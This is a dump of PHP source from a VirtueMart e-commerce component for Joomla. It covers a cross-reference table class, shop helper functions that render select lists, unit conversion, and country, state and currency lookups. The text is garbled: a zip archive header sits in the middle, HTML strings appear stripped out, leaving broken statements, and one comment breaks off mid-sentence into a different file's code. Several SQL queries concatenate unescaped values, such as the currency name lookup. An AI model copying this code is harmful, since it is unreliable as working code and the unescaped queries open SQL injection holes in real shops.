'.$this->_tbl ); return false; } $skeyId = JRequest::getInt($this->_skey, 0); // Initialize variables $db = JFactory::getDBO(); $cid = JRequest::getVar( $this->_pkey , array(), 'post', 'array' ); $order = JRequest::getVar( 'order', array(), 'post', 'array' ); $query = 'SELECT `id` FROM `' . $this->_tbl . '` WHERE $this->_pkey = '.(int)$cid[0].' AND `virtuemart_category_id` = '.(int)$skeyId ; $this->_db->setQuery( $query ); $id = $this->_db->loadResult(); $keys = array_keys($order); // TODO next 2 lines not used ???? if ($direction >0) $idToSwap = $order[$keys[array_search($id, $keys)]+1]; else $idToSwap = $order[$keys[array_search($id, $keys)]-1]; if (isset( $cid[0] )) { $query = 'UPDATE `'.$this->_tbl.'` ' . ' SET `'.$this->_orderingKey.'` = `'.$this->_orderingKey.'` + '. $direction . ' WHERE `'.$this->_pkey.'` = ' . (int)$cid[0]. ' AND `'.$this->_skey.'` = ' . (int)$skeyId ; $this->_db->setQuery( $query ); if (!$this->_db->query()) { $err = $this->_db->getErrorMsg(); JError::raiseError( 500, get_class( $this ).':: move '. $err ); } } } /** * Records in this table are arrays. Therefore we need to overload the load() function. * TODO, this function is giving back the array, not the table, it is not working like the other table, so we should change that * for the 2.2. at least. * @author Max Milbers * @param int $id */ function load($oid=null,$overWriteLoadName=0,$andWhere=0,$tableJoins= array(),$joinKey = 0){ if(empty($this->_skey) ) { vmError( 'No secondary keys defined in VmTableXarray '.$this->_tbl ); return false; } if(empty($this->_db)) $this->_db = JFactory::getDBO(); if($this->_orderable){ $orderby = 'ORDER BY `'.$this->_orderingKey.'`'; } else { $orderby = ''; } $q = 'SELECT `'.$this->_skey.'` FROM `'.$this->_tbl.'` WHERE `'.$this->_pkey.'` = "'.(int)$oid.'" '.$orderby; $this->_db->setQuery($q); $result = $this->_db->loadResultArray(); // vmdebug('my q ',$q,$result); $error = $this->_db->getErrorMsg(); if(!empty($error)){ vmError(get_class( $this ).':: load'.$error ); return false; } else { if(empty($result)) return array(); if(!is_array($result)) $result = array($result); return $result; } } /** * This binds the data to this kind of table. You can set the used name of the form with $this->skeyForm; * * @author Max Milbers * @param array $data */ public function bind($data, $ignore = array()){ if(!empty($data[$this->_pkeyForm])){ $this->_pvalue = $data[$this->_pkeyForm]; } if(!empty($data[$this->_skeyForm])){ $this->_svalue = $data[$this->_skeyForm]; } if($this->_orderable){ $orderingKey = $this->_orderingKey; if(!empty($data[$orderingKey])){ $this->$orderingKey = $data[$this->_orderingKey]; } } return true; } /** * * @author Max Milbers, George Kostopoulos * @see libraries/joomla/database/JTable#store($updateNulls) */ public function store($updateNulls = false) { $returnCode = true; $this->setLoggableFieldsForStore(); $db = JFactory::getDBO(); $pkey = $this->_pkey; $skey = $this->_skey; $tblkey = $this->_tbl_key; // We select all database rows based on our _pkey $q = 'SELECT * FROM `'.$this->_tbl.'` WHERE `'.$this->_pkey.'` = "'. $this->_pvalue.'" '; $this->_db->setQuery($q); $objList = $this->_db->loadObjectList(); // We convert the database object list that we got in a more friendly array $oldArray = null; if($objList) { foreach($objList as $obj){ $oldArray[] = array($pkey=>$obj->$pkey, $skey=>$obj->$skey); } } // We make another database object list with the values that we want to insert into the database $newArray = array(); if(!empty($this->_svalue)){ if(!is_array($this->_svalue)) $this->_svalue = array($this->_svalue); foreach($this->_svalue as $value) $newArray[] = array($pkey=>$this->_pvalue, $skey=>$value); } // Inserts and Updates if(count($newArray)>0){ $myOrdering = 1; foreach ($newArray as $newValue) { // We search in the existing (old) rows to find one of the new rows we want to insert $result = $this->array_msearch($oldArray, $newValue); // We start creating the row we will insert or update $obj = new stdClass; $obj->$pkey = $newValue[$pkey]; $obj->$skey = $newValue[$skey]; if($this->_autoOrdering){ $oKey = $this->_orderingKey; $obj->$oKey = $myOrdering++; } // If the new row does not exist in the old rows, we will insert it if( $result === false ) { $returnCode = $this->_db->insertObject($this->_tbl, $obj, $pkey); } else { // If the new row exists in the old rows, we will update it $obj->$tblkey = $objList[$result]->$tblkey; $returnCode = $this->_db->updateObject($this->_tbl, $obj, $tblkey); } } } else { // There are zero new rows, so the user asked for all the rows to be deleted $q = 'DELETE FROM `'.$this->_tbl.'` WHERE `' . $pkey.'` = "'. $this->_pvalue .'" '; $this->_db->setQuery($q); if(!$this->_db->query()){ $returnCode = false; vmError(get_class( $this ).':: store '.$this->_db->getErrorMsg()); } } // Deletions if(!empty($oldArray)) { for ($i = 0; $i < count($oldArray); $i++) { $result = $this->array_msearch($newArray, $oldArray[$i]); // If no new row exists in the old rows, we will delete the old rows if( $result === false ) { // If the old row does not exist in the new rows, we will delete it $q = 'DELETE FROM `'.$this->_tbl.'` WHERE `' . $tblkey.'` = "'. $objList[$i]->$tblkey .'" '; $this->_db->setQuery($q); if(!$this->_db->Query()){ $returnCode = false; vmError(get_class( $this ).':: store'.$this->_db->getErrorMsg()); } } } } return $returnCode; } /** * * Searches in an array of arrays to find a specific array we want * * @author George Kostopoulos * @param source array of arrays that we will search * @param the target array we want to find */ protected function array_msearch($parents, $searched) { if (empty($searched) || empty($parents)) { return false; } foreach ($parents as $key => $value) { $exists = true; foreach ($searched as $skey => $svalue) { $exists = ($exists && IsSet($parents[$key][$skey]) && $parents[$key][$skey] == $svalue); } if($exists){ return $key; } } return false; } function deleteRelation(){ $q = 'DELETE FROM `'.$this->_tbl.'` WHERE `'.$this->_pkey.'` = "'. $this->_pvalue.'" '; $this->_db->setQuery($q); if(!$this->_db->Query()){ vmError(get_class( $this ).':: store'.$this->_db->getErrorMsg(),'Couldnt delete relations'); return false; } return true; } }PKsl>\}O}jjWcom_virtuemart_update/administrator/components/com_virtuemart/helpers/shopfunctions.phpnuW+A '; } /** * Builds an enlist for information (not chooseable) * * //TODO check for misuse by code injection * * @author Max Milbers * * @param $fieldnameXref datafield for the xreftable, where the name is stored * @param $tableXref xref table * @param $fieldIdXref datafield for the xreftable, where the id is stored * @param $idXref The id to query in the xref table * @param $fieldname the name of the datafield in the main table * @param $table main table * @param $fieldId the name of the field where the id is stored * @param $quantity The number of items in the list * @return List as String */ static public function renderGuiList ($fieldnameXref, $tableXref, $fieldIdXref, $idXref, $fieldname, $table, $fieldId, $view, $quantity = 4, $translate = 1) { if (!class_exists( 'VmConfig' )) require(JPATH_COMPONENT_ADMINISTRATOR.DS.'helpers'.DS.'config.php'); VmConfig::loadConfig(); VmConfig::loadJLang('com_virtuemart_countries'); //Sanitize input $quantity = (int)$quantity; $db = JFactory::getDBO (); $q = 'SELECT ' . $db->getEscaped ($fieldnameXref) . ' FROM ' . $db->getEscaped ($tableXref) . ' WHERE ' . $db->getEscaped ($fieldIdXref) . ' = "' . (int)$idXref . '"'; $db->setQuery ($q); $tempArray = $db->loadResultArray (); if ($tempArray) { $links = ''; $ttip = ''; $i = 0; foreach ($tempArray as $value) { if ($translate) { $mainTable = $table . '_' . VMLANG; $q = 'SELECT ' . $db->getEscaped ($fieldname) . ' FROM ' . $db->getEscaped ($mainTable) . ' JOIN ' . $table . ' using (`' . $fieldnameXref . '`) WHERE ' . $db->getEscaped ($fieldId) . ' = "' . (int)$value . '"'; } else { $q = 'SELECT ' . $db->getEscaped ($fieldname) . ' FROM ' . $db->getEscaped ($table) . ' WHERE ' . $db->getEscaped ($fieldId) . ' = "' . (int)$value . '"'; } $db->setQuery ($q); $tmp = $db->loadResult (); if ($i < $quantity) { if ($view != 'user') { $cid = 'cid'; } else { $cid = 'virtuemart_user_id'; } $links .= JHTML::_ ('link', JRoute::_ ('index.php?option=com_virtuemart&view=' . $view . '&task=edit&' . $cid . '[]=' . $value, FALSE), JText::_($tmp)) . ', '; } $ttip .= $tmp . ', '; // $list .= $tmp. ', '; $i++; //if($i==$quantity) break; } $links = substr ($links, 0, -2); $ttip = substr ($ttip, 0, -2); $list = '' . $links . ''; return $list; } else { return ''; } } /** * Creates a Drop Down list of available Creditcards * * @author Max Milbers * @deprecated */ static public function renderCreditCardList ($ccId, $multiple = FALSE) { $model = VmModel::getModel ('creditcard'); $creditcards = $model->getCreditCards (); $attrs = ''; $name = 'creditcard_name'; $idA = $id = 'virtuemart_creditcard_id'; if ($multiple) { $attrs = 'multiple="multiple"'; $idA .= '[]'; } else { $emptyOption = JHTML::_ ('select.option', '', JText::_ ('COM_VIRTUEMART_LIST_EMPTY_OPTION'), $id, $name); array_unshift ($creditcards, $emptyOption); } $listHTML = JHTML::_ ('select.genericlist', $creditcards, $idA, $attrs, $id, $name, $ccId); return $listHTML; } /** * Creates a Drop Down list of available Vendors * * @author Max Milbers * @access public * @param int $virtuemart_shoppergroup_id the shopper group to pre-select * @param bool $multiple if the select list should allow multiple selections * @return string HTML select option list */ static public function renderVendorList ($vendorId, $multiple = FALSE) { $db = JFactory::getDBO (); if (Vmconfig::get ('multix', 'none') == 'none') { $vendorId = 1; $q = 'SELECT `vendor_name` FROM #__virtuemart_vendors WHERE `virtuemart_vendor_id` = "' . (int)$vendorId . '" '; $db->setQuery ($q); $vendor = $db->loadResult (); $html = ''; } else { if (!class_exists ('Permissions')) { require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'permissions.php'); } if (!Permissions::getInstance ()->check ('admin')) { if (empty($vendorId)) { $vendorId = 1; //Dont delete this message, we need it later for multivendor //JError::raiseWarning(1,'renderVendorList $vendorId is empty, please correct your used model to automatically set the virtuemart_vendor_id to the logged Vendor'); } $q = 'SELECT `vendor_name` FROM #__virtuemart_vendors WHERE `virtuemart_vendor_id` = "' . (int)$vendorId . '" '; $db->setQuery ($q); $vendor = $db->loadResult (); $html = ''; // $html .=''; return $html; } else { $q = 'SELECT `virtuemart_vendor_id`,`vendor_name` FROM #__virtuemart_vendors'; $db->setQuery ($q); $vendors = $db->loadAssocList (); $attrs = ''; $name = 'vendor_name'; $idA = $id = 'virtuemart_vendor_id'; if ($multiple) { $attrs = ' multiple="multiple" '; $idA .= '[]'; } else { $emptyOption = JHTML::_ ('select.option', '', JText::_ ('COM_VIRTUEMART_LIST_EMPTY_OPTION'), $id, $name); array_unshift ($vendors, $emptyOption); } $listHTML = JHTML::_ ('select.genericlist', $vendors, $idA, $attrs, $id, $name, $vendorId); return $listHTML; } } } /** * Creates a Drop Down list of available Shopper Groups * * @author Max Milbers * @access public * @param int $shopperGroupId the shopper group to pre-select * @param bool $multiple if the select list should allow multiple selections * @return string HTML select option list */ static public function renderShopperGroupList ($shopperGroupId = 0, $multiple = TRUE,$name='virtuemart_shoppergroup_id', $select_attribute='JOPTION_USE_DEFAULT' ) { $shopperModel = VmModel::getModel ('shoppergroup'); $shoppergrps = $shopperModel->getShopperGroups (FALSE, TRUE); $attrs = ''; //$name = 'shopper_group_name'; //$idA = $id = 'virtuemart_shoppergroup_id'; $attrs['class'] = 'vm-chzn-select'; if ($multiple) { $attrs['multiple'] = 'multiple'; $attrs['data-placeholder'] = vmText::_($select_attribute); //$attrs = 'multiple="multiple" data-placeholder="'.JText::_($select_attribute).'"'; if($name=='virtuemart_shoppergroup_id'){ $name.= '[]'; } } else { $emptyOption = JHTML::_ ('select.option', '', JText::_ ($select_attribute), 'virtuemart_shoppergroup_id', 'shopper_group_name'); array_unshift ($shoppergrps, $emptyOption); } //vmdebug('renderShopperGroupList',$name,$shoppergrps); $listHTML = JHTML::_ ('select.genericlist', $shoppergrps, $name, $attrs, 'virtuemart_shoppergroup_id', 'shopper_group_name', $shopperGroupId,false,true); return $listHTML; } /** * Renders the list of Manufacturers * * @author St. Kraft * Mod. St.Kraft 2013-02-24 Herstellerrabatt */ static public function renderManufacturerList ($manufacturerId = 0, $multiple = FALSE, $name = 'virtuemart_manufacturer_id') { $manufacturerModel = VmModel::getModel ('manufacturer'); $manufacturers = $manufacturerModel->getManufacturers (FALSE, TRUE); $attrs = ''; if ($multiple) { $attrs = 'multiple="multiple"'; if($name=='virtuemart_manufacturer_id') $name.= '[]'; } else { $emptyOption = JHTML::_ ('select.option', '', JText::_ ('COM_VIRTUEMART_LIST_EMPTY_OPTION'), 'virtuemart_manufacturer_id', 'mf_name'); array_unshift ($manufacturers, $emptyOption); } // vmdebug('renderManufacturerList',$name,$manufacturers); $listHTML = JHTML::_ ('select.genericlist', $manufacturers, $name, $attrs, 'virtuemart_manufacturer_id', 'mf_name', $manufacturerId); return $listHTML; } /** * Render a simple country list * * @author jseros, Max Milbers, Valérie Isaksen * * @param int $countryId Selected country id * @param boolean $multiple True if multiple selections are allowed (default: false) * @param mixed $_attrib string or array with additional attributes, * e.g. 'onchange=somefunction()' or array('onchange'=>'somefunction()') * @param string $_prefix Optional prefix for the formtag name attribute * @return string HTML containing the ID attribute * @param string $_prefix Optional prefix for the formtag name attribute * @return string HTML containing the '; return $listHTML; } /** * Renders the list for the tax rules * * @author Max Milbers */ static function renderTaxList ($selected, $name = 'product_tax_id', $class = '') { if (!class_exists ('VirtueMartModelCalc')) { require(JPATH_VM_ADMINISTRATOR . DS . 'models' . DS . 'calc.php'); } $taxes = VirtueMartModelCalc::getTaxes (); $taxrates = array(); $taxrates[] = JHTML::_ ('select.option', '-1', JText::_ ('COM_VIRTUEMART_PRODUCT_TAX_NONE'), $name); $taxrates[] = JHTML::_ ('select.option', '0', JText::_ ('COM_VIRTUEMART_PRODUCT_TAX_NO_SPECIAL'), $name); foreach ($taxes as $tax) { $taxrates[] = JHTML::_ ('select.option', $tax->virtuemart_calc_id, $tax->calc_name, $name); } $listHTML = JHTML::_ ('Select.genericlist', $taxrates, $name, $class, $name, 'text', $selected); return $listHTML; } /** * Creates the chooseable template list * * @author Max Milbers, impleri * * @param string defaultText Text for the empty option * @param boolean defaultOption you can supress the empty otion setting this to false * return array of Template objects */ static public function renderTemplateList ($defaultText = 0, $defaultOption = TRUE) { if (empty($defaultText)) { $defaultText = JText::_ ('COM_VIRTUEMART_TEMPLATE_DEFAULT'); } $defaulttemplate = array(); if ($defaultOption) { $defaulttemplate[0] = new stdClass; $defaulttemplate[0]->name = $defaultText; $defaulttemplate[0]->directory = 0; $defaulttemplate[0]->value = 'default'; } if (JVM_VERSION === 1) { if (!class_exists ('TemplatesHelper')) { require (JPATH_ADMINISTRATOR . DS . 'components' . DS . 'com_templates' . DS . 'helpers' . DS . 'template.php'); } $jtemplates = TemplatesHelper::parseXMLTemplateFiles (JPATH_SITE . DS . 'templates'); foreach ($jtemplates as $key => $template) { $template->value = $template->name; } } else { $q = 'SELECT * FROM `#__template_styles` WHERE `client_id`="0"'; $db = JFactory::getDbo(); $db->setQuery($q); $jtemplates = $db->loadObjectList(); foreach ($jtemplates as $key => $template) { $template->name = $template->title; $template->value = $template->id; $template->directory = $template->template; } } return array_merge ($defaulttemplate, $jtemplates); } /** * Returns all the weight unit * * @author Valérie Isaksen */ static function getWeightUnit () { static $weigth_unit; if ($weigth_unit) { return $weigth_unit; } return $weigth_unit = array( 'KG' => JText::_ ('COM_VIRTUEMART_UNIT_NAME_KG') , 'G' => JText::_ ('COM_VIRTUEMART_UNIT_NAME_G') , 'MG' => JText::_ ('COM_VIRTUEMART_UNIT_NAME_MG') , 'LB' => JText::_ ('COM_VIRTUEMART_UNIT_NAME_LB') , 'OZ' => JText::_ ('COM_VIRTUEMART_UNIT_NAME_ONCE') ); } /** * Renders the string for the * * @author Valérie Isaksen */ static function renderWeightUnit ($name) { $weigth_unit = self::getWeightUnit (); if (isset($weigth_unit[$name])) { return $weigth_unit[$name]; } else { return ''; } } /** * Renders the list for the Weight Unit * * @author Valérie Isaksen */ static function renderWeightUnitList ($name, $selected) { $weight_unit_default = self::getWeightUnit (); foreach ($weight_unit_default as $key => $value) { $wu_list[] = JHTML::_ ('select.option', $key, $value, $name); } $listHTML = JHTML::_ ('Select.genericlist', $wu_list, $name, '', $name, 'text', $selected); return $listHTML; /* if (!class_exists('VmHTML')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'html.php'); return VmHTML::selectList($name, $selected, $weight_unit_default); * */ } static function renderUnitIsoList($name, $selected){ $weight_unit_default = array( 'KG' => JText::_ ('COM_VIRTUEMART_UNIT_SYMBOL_KG') , '100G' => JText::_ ('COM_VIRTUEMART_UNIT_SYMBOL_100G') , 'M' => JText::_ ('COM_VIRTUEMART_UNIT_SYMBOL_M') , 'SM' => JText::_ ('COM_VIRTUEMART_UNIT_SYMBOL_SM') , 'CUBM' => JText::_ ('COM_VIRTUEMART_UNIT_SYMBOL_CUBM') , 'L' => JText::_ ('COM_VIRTUEMART_UNIT_SYMBOL_L') , '100ML' => JText::_ ('COM_VIRTUEMART_UNIT_SYMBOL_100ML') ); foreach ($weight_unit_default as $key => $value) { $wu_list[] = JHTML::_ ('select.option', $key, $value, $name); } $listHTML = JHTML::_ ('Select.genericlist', $wu_list, $name, '', $name, 'text', $selected); return $listHTML; } /** * typo problem with the function name. We must keep the other one for compatibility purposes * @param $value * @param $from * @param $to */ static function convertWeigthUnit ($value, $from, $to) { return self::convertWeightUnit ($value, $from, $to); } /** * Convert Weight Unit * * @author Valérie Isaksen */ static function convertWeightUnit ($value, $from, $to) { $from = strtoupper($from); $to = strtoupper($to); $value = str_replace (',', '.', $value); if ($from === $to) { return $value; } $g = (float)$value; switch ($from) { case 'KG': $g = (float)(1000 * $value); break; case 'MG': $g = (float)($value / 1000); break; case 'LB': $g = (float)(453.59237 * $value); break; case 'OZ': $g = (float)(28.3495 * $value); break; } switch ($to) { case 'KG' : $value = (float)($g / 1000); break; case 'G' : $value = $g; break; case 'MG' : $value = (float)(1000 * $g); break; case 'LB' : $value = (float)($g / 453.59237); break; case 'OZ' : $value = (float)($g / 28.3495); break; } return $value; } /** * Convert Metric Unit * * @author Florian Voutzinos */ static function convertDimensionUnit ($value, $from, $to) { $from = strtoupper($from); $to = strtoupper($to); $value = (float)str_replace (',', '.', $value); if ($from === $to) { return $value; } $meter = (float)$value; // transform $value in meters switch ($from) { case 'CM': $meter = (float)(0.01 * $value); break; case 'MM': $meter = (float)(0.001 * $value); break; case 'YD' : $meter =(float) (0.9144 * $value); break; case 'FT' : $meter = (float)(0.3048 * $value); break; case 'IN' : $meter = (float)(0.0254 * $value); break; } switch ($to) { case 'M' : $value = $meter; break; case 'CM': $value = (float)($meter / 0.01); break; case 'MM': $value = (float)($meter / 0.001); break; case 'YD' : $value =(float) ($meter / 0.9144); break; case 'FT' : $value = (float)($meter / 0.3048); break; case 'IN' : $value = (float)($meter / 0.0254); break; } return $value; } /** * Renders the list for the Length, Width, Height Unit * * @author Valérie Isaksen */ static function renderLWHUnitList ($name, $selected) { if (!class_exists ('VmHTML')) { require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'html.php'); } $lwh_unit_default = array('M' => JText::_ ('COM_VIRTUEMART_UNIT_NAME_M') , 'CM' => JText::_ ('COM_VIRTUEMART_UNIT_NAME_CM') , 'MM' => JText::_ ('COM_VIRTUEMART_UNIT_NAME_MM') , 'YD' => JText::_ ('COM_VIRTUEMART_UNIT_NAME_YARD') , 'FT' => JText::_ ('COM_VIRTUEMART_UNIT_NAME_FOOT') , 'IN' => JText::_ ('COM_VIRTUEMART_UNIT_NAME_INCH') ); foreach ($lwh_unit_default as $key => $value) { $lu_list[] = JHTML::_ ('select.option', $key, $value, $name); } $listHTML = JHTML::_ ('Select.genericlist', $lu_list, $name, '', $name, 'text', $selected); return $listHTML; } /** * Writes a line for the price configuration * * @author Max Milberes * @param string $name * @param string $langkey */ static function writePriceConfigLine ($obj, $name, $langkey) { if (!class_exists ('VmHTML')) { require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'html.php'); } $html = ' ' . VmHTML::checkbox ($name, $obj->get ($name)) . ' ' . VmHTML::checkbox ($name . 'Text', $obj->get ($name . 'Text', 1)) . ' '; return $html; } /** * This generates the list when the user have different ST addresses saved * * @author Oscar van Eijk */ static function generateStAddressList ($view, $userModel, $task) { // Shipment address(es) $_addressList = $userModel->getUserAddressList ($userModel->getId (), 'ST'); if (count ($_addressList) == 1 && empty($_addressList[0]->address_type_name)) { return JText::_ ('COM_VIRTUEMART_USER_NOSHIPPINGADDR'); } else { $_shipTo = array(); $useXHTTML = empty($view->useXHTML) ? false : $view->useXHTML; $useSSL = empty($view->useSSL) ? FALSE : $view->useSSL; for ($_i = 0; $_i < count ($_addressList); $_i++) { if (empty($_addressList[$_i]->virtuemart_user_id)) { $_addressList[$_i]->virtuemart_user_id = JFactory::getUser ()->id; } if (empty($_addressList[$_i]->virtuemart_userinfo_id)) { $_addressList[$_i]->virtuemart_userinfo_id = 0; } if (empty($_addressList[$_i]->address_type_name)) { $_addressList[$_i]->address_type_name = 0; } $_shipTo[] = '
  • ' . '' . $_addressList[$_i]->address_type_name . ' ' ; $_shipTo[] = '  '.JText::_('COM_VIRTUEMART_USER_DELETE_ST').'
  • '; } $addLink = ' '; $addLink .= JText::_ ('COM_VIRTUEMART_USER_FORM_ADD_SHIPTO_LBL') . ' '; return $addLink . '
      ' . join ('', $_shipTo) . '
    '; } } /** * used mostly in the email, to display the vendor address * Attention, this function will be removed from any view.html.php * * @static * @param $vendorId * @param string $lineSeparator * @param array $skips * @return string */ static public function renderVendorAddress ($vendorId,$lineSeparator="
    ", $skips = array('name','username','email','agreed')) { $vendorModel = VmModel::getModel('vendor'); $vendorModel->setId($vendorId); $vendorFields = $vendorModel->getVendorAddressFields($vendorId); $vendorAddress = ''; foreach ($vendorFields['fields'] as $field) { if(in_array($field['name'],$skips)) continue; if (!empty($field['value'])) { $vendorAddress .= $field['value']; if ($field['name'] != 'title' and $field['name'] != 'first_name' and $field['name'] != 'middle_name' and $field['name'] != 'zip') { $vendorAddress .= $lineSeparator; } else { $vendorAddress .= ' '; } } } return $vendorAddress; } public static $counter = 0; public static $categoryTree = 0; static public function categoryListTree ($selectedCategories = array(), $cid = 0, $level = 0, $disabledFields = array()) { if (empty(self::$categoryTree)) { // vmTime('Start with categoryListTree'); $cache = JFactory::getCache ('com_virtuemart_cats'); $cached = $cache->getCaching(); $cache->setCaching (1); self::$categoryTree = $cache->call (array('ShopFunctions', 'categoryListTreeLoop'), $selectedCategories, $cid, $level, $disabledFields); $cache->setCaching ($cached); // self::$categoryTree = self::categoryListTreeLoop($selectedCategories, $cid, $level, $disabledFields); // vmTime('end loop categoryListTree '.self::$counter); } return self::$categoryTree; } /** * Get feed * @author valerie isaksen * @param $rssUrl * @param $max * @return mixed */ static public function getCPsRssFeed($rssUrl,$max) { $cache_time=86400*3; // 3days $cache = JFactory::getCache ('com_virtuemart_rss'); $cached = $cache->getCaching(); $cache->setLifeTime($cache_time); $cache->setCaching (1); $feeds = $cache->call (array('ShopFunctions', 'getRssFeed'), $rssUrl, $max); $cache->setCaching ($cached); return $feeds; } /** * @author Valerie Isaksen * Returns the RSS feed from Extensions.virtuemart.net * @return mixed */ public static $extFeeds = 0; static public function getExtensionsRssFeed() { if (empty(self::$extFeeds)) { self::$extFeeds = ShopFunctions::getCPsRssFeed("http://extensions.virtuemart.net/?format=feed&type=rss", 15); } return self::$extFeeds; } /** * @author Valerie Isaksen * Returns the RSS feed from virtuemart.net * @return mixed */ public static $vmFeeds = 0; static public function getVirtueMartRssFeed() { if (empty(self::$vmFeeds)) { self::$vmFeeds = ShopFunctions::getCPsRssFeed("http://virtuemart.net/news/list-all-news?format=feed&type=rss", 5); } return self::$vmFeeds; } static public function getRssFeed ($rssURL,$max) { jimport('simplepie.simplepie'); $rssFeed = new SimplePie($rssURL); $feeds = array(); $count = $rssFeed->get_item_quantity(); $limit=min($max,$count); for ($i = 0; $i < $limit; $i++) { $feed = new StdClass(); $item = $rssFeed->get_item($i); $feed->link = $item->get_link(); $feed->title = $item->get_title(); $feed->description = $item->get_description(); $feeds[] = $feed; } return $feeds; } /** * Creates structured option fields for all categories * * @todo: Connect to vendor data * @author Max Milbers, jseros * @param array $selectedCategories All category IDs that will be pre-selected * @param int $cid Internally used for recursion * @param int $level Internally used for recursion * @return string $category_tree HTML: Category tree list */ static public function categoryListTreeLoop ($selectedCategories = array(), $cid = 0, $level = 0, $disabledFields = array()) { self::$counter++; static $categoryTree = ''; $virtuemart_vendor_id = 1; // vmSetStartTime('getCategories'); $categoryModel = VmModel::getModel ('category'); $level++; $categoryModel->_noLimit = TRUE; $app = JFactory::getApplication (); $records = $categoryModel->getCategories ($app->isSite (), $cid); // vmTime('getCategories','getCategories'); $selected = ""; if (!empty($records)) { foreach ($records as $key => $category) { $childId = $category->category_child_id; if ($childId != $cid) { if (in_array ($childId, $selectedCategories)) { $selected = 'selected=\"selected\"'; } else { $selected = ''; } $disabled = ''; if (in_array ($childId, $disabledFields)) { $disabled = 'disabled="disabled"'; } if ($disabled != '' && stristr ($_SERVER['HTTP_USER_AGENT'], 'msie')) { //IE7 suffers from a bug, which makes disabled option fields selectable } else { $categoryTree .= ''; } } if ($categoryModel->hasChildren ($childId)) { self::categoryListTreeLoop ($selectedCategories, $childId, $level, $disabledFields); } } } return $categoryTree; } /** * Return the countryname or code of a given countryID * * @author Oscar van Eijk * @access public * @param int $id Country ID * @param char $fld Field to return: country_name (default), country_2_code or country_3_code. * @return string Country name or code */ static public function getCountryByID ($id, $fld = 'country_name') { if (empty($id)) { return ''; } $id = (int)$id; $db = JFactory::getDBO (); $q = 'SELECT ' . $db->getEscaped ($fld) . ' AS fld FROM `#__virtuemart_countries` WHERE virtuemart_country_id = ' . (int)$id; $db->setQuery ($q); return $db->loadResult (); } /** * Return the virtuemart_country_id of a given country name * * @author Oscar van Eijk * @author Max Milbers * @access public * @param string $name Country name (can be country_name or country_3_code or country_2_code ) * @return int virtuemart_country_id */ static public function getCountryIDByName ($name) { if (empty($name)) { return 0; } $db = JFactory::getDBO (); if (strlen ($name) === 2) { $fieldname = 'country_2_code'; } else { if (strlen ($name) === 3) { $fieldname = 'country_3_code'; } else { $fieldname = 'country_name'; } } $q = 'SELECT `virtuemart_country_id` FROM `#__virtuemart_countries` WHERE `' . $fieldname . '` = "' . $db->getEscaped ($name) . '"'; $db->setQuery ($q); $r = $db->loadResult (); return $r; } /** * Return the statename or code of a given virtuemart_state_id * * @author Oscar van Eijk * @access public * @param int $id State ID * @param char $fld Field to return: state_name (default), state_2_code or state_3_code. * @return string state name or code */ static public function getStateByID ($id, $fld = 'state_name') { if (empty($id)) { return ''; } $db = JFactory::getDBO (); $q = 'SELECT ' . $db->getEscaped ($fld) . ' AS fld FROM `#__virtuemart_states` WHERE virtuemart_state_id = "' . (int)$id . '"'; $db->setQuery ($q); $r = $db->loadObject (); return $r->fld; } /** * Return the stateID of a given state name * * @author Max Milbers * @access public * @param string $name Country name * @return int virtuemart_state_id */ static public function getStateIDByName ($name) { if (empty($name)) { return 0; } $db = JFactory::getDBO (); if (strlen ($name) === 2) { $fieldname = 'state_2_code'; } else { if (strlen ($name) === 3) { $fieldname = 'state_3_code'; } else { $fieldname = 'state_name'; } } $q = 'SELECT `virtuemart_state_id` FROM `#__virtuemart_states` WHERE `' . $fieldname . '` = "' . $db->getEscaped ($name) . '"'; $db->setQuery ($q); $r = $db->loadResult (); return $r; } /* * Returns the associative array for a given virtuemart_calc_id * * @author Valérie Isaksen * @access public * @param int $id virtuemart_calc_id * @return array Result row */ static public function getTaxByID ($id) { if (empty($id)) { return ''; } $id = (int)$id; $db = JFactory::getDBO (); $q = 'SELECT * FROM `#__virtuemart_calcs` WHERE virtuemart_calc_id = ' . (int)$id; $db->setQuery ($q); return $db->loadAssoc (); } /** * Return any field from table '#__virtuemart_currencies' * * @author Valérie Isaksen * @access public * @param int $id Currency ID * @param char $fld Field from table '#__virtuemart_currencies' to return: currency_name (default), currency_code_2, currency_code_3 etc. * @return string Currency name or code */ static public function getCurrencyByID ($id, $fld = 'currency_name') { if (empty($id)) { return ''; } static $currencyNameById = array(); if(!isset($currencyNameById[$id][$fld])){ $id = (int)$id; $db = JFactory::getDBO (); $q = 'SELECT ' . $db->getEscaped ($fld) . ' AS fld FROM `#__virtuemart_currencies` WHERE virtuemart_currency_id = ' . (int)$id; $db->setQuery ($q); $currencyNameById[$id][$fld] = $db->loadResult (); } return $currencyNameById[$id][$fld]; } /** * Return the currencyID of a given Currency name * This function becomes dangerous if there is a currency name with 3 letters * @author Valerie Isaksen, Max Milbers * @access public * @param string $name Currency name * @return int virtuemart_currency_id */ static public function getCurrencyIDByName ($name) { if (empty($name)) { return 0; } static $currencyIdByName = array(); if(!isset($currencyIdByName[$name])){ $db = JFactory::getDBO (); if (strlen ($name) === 2) { $fieldname = 'currency_code_2'; } else { if (strlen ($name) === 3) { $fieldname = 'currency_code_3'; } else { $fieldname = 'currency_name'; } } $q = 'SELECT `virtuemart_currency_id` FROM `#__virtuemart_currencies` WHERE `' . $fieldname . '` = "' . ($name) . '"'; $db->setQuery ($q); $currencyIdByName[$name] = $db->loadResult (); } return $currencyIdByName[$name]; } /** * Print a select-list with enumerated categories * * @author jseros * * @param boolean $onlyPublished Show only published categories? * @param boolean $withParentId Keep in mind $parentId param? * @param integer $parentId Show only its childs * @param string $attribs HTML attributes for the list * @return string " . ""; $html[] = $tmp; } return $html; } function checkboxList ($arr, $tag_name, $tag_attribs, $key = 'value', $text = 'text', $selected = NULL, $required = 0) { return "\n\t" . implode ("\n\t", vmCommonHTML::checkboxListArr ($arr, $tag_name, $tag_attribs, $key, $text, $selected, $required)) . "\n"; } function checkboxListTable ($arr, $tag_name, $tag_attribs, $key = 'value', $text = 'text', $selected = NULL, $cols = 0, $rows = 0, $size = 0, $required = 0) { $cellsHtml = self::checkboxListArr ($arr, $tag_name, $tag_attribs, $key, $text, $selected, $required); return self::list2Table ($cellsHtml, $cols, $rows, $size); } // private methods: private function list2Table ($cellsHtml, $cols, $rows, $size) { $cells = count ($cellsHtml); if ($size == 0) { $localstyle = ""; //" style='width:100%'"; } else { $size = (($size - ($size % 3)) / 3) * 